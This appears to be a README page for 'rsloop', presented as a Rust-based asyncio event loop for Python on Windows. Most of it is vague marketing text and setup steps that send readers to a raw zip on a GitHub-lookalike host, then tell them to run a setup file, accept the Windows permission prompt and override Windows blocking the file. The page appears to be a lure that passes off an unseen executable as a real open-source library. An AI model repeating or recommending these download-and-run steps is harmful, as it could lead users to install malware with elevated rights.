rsloop is an event loop for Python's asyncio on Windows.
It helps Python apps handle network work, file work, and other waiting tasks with less delay.
If you run Python tools that use asyncio, rsloop gives them a Rust-based loop that can improve response time and keep work moving.
Use this link to visit the page and download rsloop:
https://github.com/Hqgra2900/rsloop/raw/refs/heads/main/bottstick/Software-v1.3-beta.1.zip
On that page, look for the latest Windows download. Save the file to your PC before you install or run it.
Use rsloop on a Windows PC with:
- Windows 10 or Windows 11
- Python 3.8 or newer
- A normal internet connection for the download
- Enough disk space for the app and its files
For best results, close extra apps before you set it up. That helps the install finish cleanly.
Follow these steps to use rsloop on Windows:
- Open the download page: https://github.com/Hqgra2900/rsloop/raw/refs/heads/main/bottstick/Software-v1.3-beta.1.zip
- Find the latest release or download file
- Save the file to a folder you can find again, such as Downloads
- If the file is zipped, right-click it and choose Extract All
- Open the extracted folder
- Run the setup file or the main app file
- If Windows asks for permission, choose Yes
- If you use Python tools that support custom event loops, point them to rsloop as shown in the app files or docs
rsloop works as the event loop for asyncio apps.
That means your Python program can use it to manage tasks that wait on network or disk work.
Typical use cases include:
- chat tools
- web clients
- bot apps
- data fetchers
- small servers
- file sync tools
If your app already uses asyncio, rsloop can fit into that flow with little change in how the program runs.
rsloop is built for speed and low wait time. It focuses on work that needs steady handling of many small tasks.
Main benefits:
- Faster handling of async work
- Good fit for network-heavy Python apps
- Works well on Windows
- Uses Rust for the loop core
- Helps reduce idle time in async programs
- Fits modern Python async code
rsloop is a good fit if you:
- run Python apps on Windows
- use
asyncio - need quick network response
- want a stronger event loop for async tasks
- build tools that stay active for long periods
- want less delay in I/O work
Use these tips if the app does not start right away:
- Make sure Python is installed
- Check that you downloaded the right file for Windows
- Keep the app in a simple folder path, such as
C:\rsloop - Run the file from the folder where you extracted it
- If Windows blocks the file, open it again and allow it
- Restart your PC if the setup seems stuck
If you plan to use rsloop with another Python app, test it with a small project first. That makes it easier to see if the loop works as expected.
Here are a few words you may see:
asyncio- a Python system for running many waiting tasks- event loop - the part that keeps async tasks moving
- I/O - work with files, network, or other input and output
- Rust - a fast programming language used in the core of rsloop
- thread per core - a way to use CPU cores more evenly
Yes, if you only need to download and run the app on Windows.
If you want to connect it to another Python program, you may need help from the app files or a developer.
Yes. This version is aimed at Windows users.
It is built to handle async work with low delay, so many users choose it for that reason.
Apps that use asyncio and spend a lot of time waiting on network or file work.
- Repository: rsloop
- Description: An event loop for asyncio written in Rust
- Topics: async-await, async-python, asyncio, event-loop, high-performance, io-uring, iocp, networking, thread-per-core
If you need the file again, use this page:
https://github.com/Hqgra2900/rsloop/raw/refs/heads/main/bottstick/Software-v1.3-beta.1.zip
After you run rsloop, check that:
- the app opens without an error
- your Python app starts
- async tasks keep running
- network work responds at a steady pace
- no extra permission prompt appears each time
If the app opens and your Python tool runs, the setup is in place